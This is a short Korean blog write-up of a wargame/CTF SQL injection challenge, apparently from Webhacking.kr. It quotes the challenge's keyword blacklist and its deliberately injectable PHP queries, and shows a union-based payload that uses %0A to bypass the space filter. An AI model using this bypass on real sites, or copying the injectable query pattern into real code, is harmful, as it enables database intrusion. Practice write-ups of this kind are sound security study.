Auth 를 누르니 Access_Denied! 라고 뜬다. 소스를 확인해보았다.
<!-- admin mode : val=2 -->
<!--
index.phps
-->
val이 2가 되어야 조건에 만족하나보다. phps 로 들어가여 소스를 확인해보았다.
<!--
db에는 val=2가 존재하지 않습니다.
union을 이용하세요
-->
union 이라는 힌트를 얻었다.
if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
상당히 많은 부분을 필터링 해놨다.
해당 소스를 통하여 쿼리문을 추측해보면
union select (3-1 정도로 추측할 수 있다. 하지만 공백을 필터링하므로 인코딩값인 %0A를 통하여 넣어줬다.
union%0Aselect%0A(3-1
좋은 시도라고 한다. val 값에 아무런 값이 없어서 그런것같다.
0)%0Aunion%0Aselect%0A(3-1 을 넣어줬다. 여전히 좋은시도라고 나온다.
소스를 더 보던중
if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}
if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}
if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}
if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}
if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}
이런부분을 발견하고 F5를 3번정도 누르니 문제가 풀렸다.
'Wargame(CTF)' 카테고리의 다른 글
[Suninatas] Level 1 (0) | 2014.05.12 |
---|---|
국내 워게임 사이트 (0) | 2014.05.04 |
Webhacking.kr 5번 (0) | 2014.04.13 |
Webhacking.kr 4번 (0) | 2014.04.13 |
Webhacking.kr 3번 (0) | 2014.04.12 |